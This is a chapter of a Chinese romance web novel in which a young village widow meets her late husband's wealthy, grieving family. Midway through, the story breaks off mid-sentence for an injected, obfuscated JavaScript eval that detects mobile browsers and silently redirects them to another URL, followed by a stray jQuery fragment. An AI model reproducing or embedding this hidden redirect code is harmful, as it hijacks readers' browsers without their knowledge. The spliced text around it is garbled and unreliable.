不是阿郎。
是冷冰冰的阿郎大哥。
田岁禾知道她该下去的，可她实在是怕，山里蛇虫多，往常家里进蛇时，她都会爬到阿郎身上躲着，这会上也不是下也不是。
“抱歉，在下并非三弟。”
被她盘着的人冷冰冰地说了一声，没有温度的话语提醒着田岁禾阿郎不在了的事实。
世上再也不会有人和阿郎一样，以后她得学着自己赶跑蛇。
“对，对不住……”
田岁禾壮着胆，慢腾腾地从高大的青年身上爬下。
她转手要去抄家伙赶蛇，身侧的人手一抬。剑光划过，从榻上爬至地面的青蛇迅速断成了两截。
侍卫端着烛台进来，烛光照亮地上蠕动的东西，田岁禾看得恶寒，捂着心口干呕了下。
宋持砚侧眸看她一眼。
有些事有必要问一问，但上次小村姑大胆的言辞让他打消了这个念头。横竖再有几日就到歙县了，届时大可让母亲来问。
宋持砚收回了询问，抚平前襟被她压出的褶皱，吩咐几名护卫过来清理地上的死蛇便离去。
但田岁禾再睡不着了。
从前也是这样，哪怕蛇被赶跑了，她还是怕得睡不着，这种时候除了把阿郎当成床榻没有别的办法，会整个趴在阿郎身上。
阿郎还时常笑着说：“阿姐，这样我半夜会被鬼压床的。”
平日里都是她这个阿姐在照顾阿郎，他个子高瘦，心思却脆弱得很，常靠在她肩头要安慰，田岁禾便一直装成大姐姐的模样，只有害怕的时候，她才会蛮不讲理，委屈地哼哼着：“不行，下来我就会吓成鬼，到时候还是得压你。”
阿郎便会无奈让步。
哎。
田岁禾在黑暗中常常叹气，她已经不能再想他了。
*
第二日田岁禾顶着两个乌青的眼圈出了门，宋持砚看了她一眼但什么都没问，然而田岁禾发现其后的几日，每当宿在驿馆，宋持砚都会命咐侍从们撒了防蛇虫的药，并派几个身手好的兵士守在她门外。
阿郎刚走的几日因为家里没人，田岁禾根本不敢睡，现在有了护卫，她总算可以在阿郎不在的时候安心入睡了，但还是少了点什么，田岁禾虽迟钝，但也知道少的是什么。
阿郎对她来说不只是一把杀蛇的刀，是个温暖的人。
偏偏这才最无法替代。
很快到了繁华的歙县，一行人拐入一处幽静的宅前。
这一路上舒适的马车、干净的驿站和随时护卫左右的护卫已经是田岁禾一个山野村姑对于“富贵”二字最最夸张的见闻了。
可踏入这方宅院，她才知道阿翁常说的山外有山是什么意思，阿郎家里比她想象的更富有。
这宅子快赶上半个那么大了，听说还只是宋家闲置的宅子。
田岁禾没有要过好日子的喜悦，反而更难过了。
她的前面是宋持砚，后面是一众穿戴光鲜的婢女，宋持砚负着手沉稳清贵，婢女们也步履从容，田岁禾在中间拘谨得像是被押送的人犯。
穿过七拐八弯的回廊，在园子里见到一位跟宋持砚一样不爱笑，衣着雍容华贵的妇人。
宋持砚对着贵妇行礼，像这几日他的下属对他那样恭敬。
“母亲。”
妇人转身，露出一双哭红的眼睛，无力的声音犹带着哽咽：“不必再多说一次，我已收到了信，舲儿真的已经回不来了么……”
她用帕子覆着脸，哽声恸哭起来，和宋持砚的作风很像，就连难过时脊背都是挺得直直的。
但丧子的悲伤是实打实的，当田岁禾和这位贵的夫人有了共同的悲伤，距离就近了些。
这是阿郎的娘亲，阿郎在天上看到娘亲难过了，他也会难过的。田岁禾从包袱里扒拉出照着阿郎模样雕刻的木雕，壮着胆子递上去。
“这是一个月前照着阿郎的脸刻的，您想看看吗？”
妇人侧眸瞥了眼她手里的木雕，看都没有看清，却没有去接，显然不相信这木雕能像她的儿子。
察觉到身边有外人，妇人擦了擦泪转过身来，双手叠放膝上，难过低垂的颈也傲然挺直。
“这小村妇是何人？”
说小村妇仿佛在说小猫小狗，田岁禾拿着木雕的手虽怯生生地紧了紧，但果断将木雕揽回怀里。
不看就不看嘛。
宋持砚余光从她怯懦又倔强的手上扫过，恭谨地同郑氏道：“母亲，田氏乃三弟遗孀。”
遗孀？！
郑氏高贵端雅的身姿被震撼得晃了下，雍容目光在田岁禾身上从上到下，再从下到上地扫了一遍。
小村妇约莫十八九岁，还满脸的清稚，一对杏眼湿哒哒似被被雨淋湿的麋鹿，模样倒是颇为秀美，称得上一朵清秀山茶花，但高门大户里什么名花贵草没有？
单说这气度和仪态……
他们家最下等的婢女也比这小村妇要落落大方。
“我的舲儿啊……”
望着眼前局促的村姑，郑氏一眼望见了幼子流落山野时所受的苦，顿时悲从中来，刚勉强停下的哭声更为哀痛伤心，雍容挺直的脊背也像被霜雪压弯的花枝。她倚着亭子的栏杆，脸埋入臂弯哀哀地哭起来。
虽未明说瞧不起山里人，但田岁禾虽然呆，却不是傻子，心知贵夫人是看她寒碜，顺势心疼起阿郎来，觉得家里白菜被猪拱了。
阿郎是她珍爱的孩子，可她也是阿翁心里的宝啊。
田岁禾承认自己是个怂包，但好歹也是个有骨头的怂包，她迅速把两个人偶塞进包袱里，包袱打了个结，作出随时要走的架势，可拇指抚摸过人偶的笑脸，想到一口一个“阿姐”，满心满眼都是她的阿郎。
郑氏鄙夷的目光又没那么刺眼了，她呆立着没动。
宋持砚也不曾动，等母亲哭声慢慢从高峰往下落逐渐趋于平缓，他才道：“母亲，田氏与三弟相伴多年，感情甚笃，且新婚燕尔。”
只这一句，郑氏就止了哭声，这几日她其实已经哭了很多次了，不止这几日，这些年希望渺茫，她早已哭过了很多次，身在朱门之中，理智和计量早已深入骨髓，现在更重要的是孩子的身后事。
她长换一口浊气，转向小村姑：“你与舲儿如何认识？”
田岁禾细致地说来。
“阿郎是阿翁在山下捡到的，那年我们这打了仗，很多人逃荒逃到山里来了。阿翁当时在镇子上的脚店给人干活，碰到一个带着孩子的女人，那女人没多久就病死了，周围人怕阿郎身
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361851|183719||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上也带着病，都不敢管他。阿翁就把他领了回来。”
起初阿翁以为阿郎的家人很快会来找他，还整日带着阿郎去镇子上寻人，但寻了一年多都没有家人来找。阿翁猜测阿郎家里人大概是都不在了，正好家里只有田岁禾一个小娃娃，阿翁便留下了阿郎，一家三口日子虽然很苦，但也很美满。
可田岁禾十三岁时，阿翁因为瘟疫病死了。走前不放心他俩，更信不过别人，让他们俩以后成亲一块过：“两个苦命的娃儿啊，你们两成亲吧，成亲就有家了。”
他们不知道成亲意味着什么，只知道成亲就不用再分开了，于是几年后在邻居的帮衬下成了亲。
成亲的事田岁禾一句带过，话多半围绕着阿郎。
“他从小爱笑，喜欢爬树，个头有这么高。虽然有点瘦，但力气大，还空手杀死过一只狼……”
她说话东一榔头西一榔头，但无论是宋持砚还是郑氏都没觉得她絮叨，只偶尔听到她学阿郎的口吻骂人时才会皱下眉。
关于阿郎田岁禾也总有许多要讲的，他们没打断她便没停。
“他说他喜欢吃鸡爪，不爱吃鸡腿，我也一直以为是这样。可是那次我肚子胀没吃，才发现他啃鸡腿时会高兴得眼都眯起来……”
宋持砚无言地听着。
自知事起，母亲就一遍遍地训导，称父亲无德，朝三暮四，让他务必争气，将柳姨娘膝下的老二比下去。因而他自幼勤勉自律，从不将精力浪费在琐事上。
如此听一个人漫无边际地闲谈，对宋持砚而言是头一次。
眼前仿佛站了个开朗清瘦的少年，面皮晒得微黑，牙齿极白，周身洋溢着蓬勃生机。
宋持砚不禁走神。
田岁禾亦是。
回忆着这些的时候，就好像阿郎还活生生地在她周围，但越是这样，她心里就越空洞，说着说着，她又想哭了：“阿郎还……”
郑氏也又要哭起来了，但她强压下哀痛，再度审视眼前的村妇，觉得比前一刻顺眼了一点。
她忍着成见问她：“你们成婚后，可有同房？”
委婉的措辞让田岁禾这个山里人一时未准确领会，实诚道：“阿郎小时候怕鬼，一直跟我睡的。”
郑氏身边的一位嬷嬷忙道：“田娘子，夫人说的同房是指，做夫妻该做的那种事。”
田岁禾才听懂，感激地跟嬷嬷道谢，红着脸打算继续往下说。
宋持砚忽道：“母亲，儿尚有些公事亟待处理。”
郑氏这才想起长子还在，都是斯文人，她自然听懂长子的言外之意，这是他三弟的房中事，他身为长兄的确是该回避。是自己悲痛过甚忘了礼教，郑氏朝他略一颔首。
宋家书香门第，府里人皆行止温雅内敛，宋持砚尤其，举手投足毕现高门公子的贵气。
但今日他的步伐快得衣角都扬起轻微一阵风。
然而亭子里三弟遗孀怯生生的声音比他的步子更快。
“阿郎走的那天早上有。”
“家里还养不起孩子，不敢乱来，都套了肠衣的。”
“那天用掉了三个肠衣。”
“哦，掉进去了一次……是，是阿郎用手指抠出的。”
……
宋持砚轻捏眉心。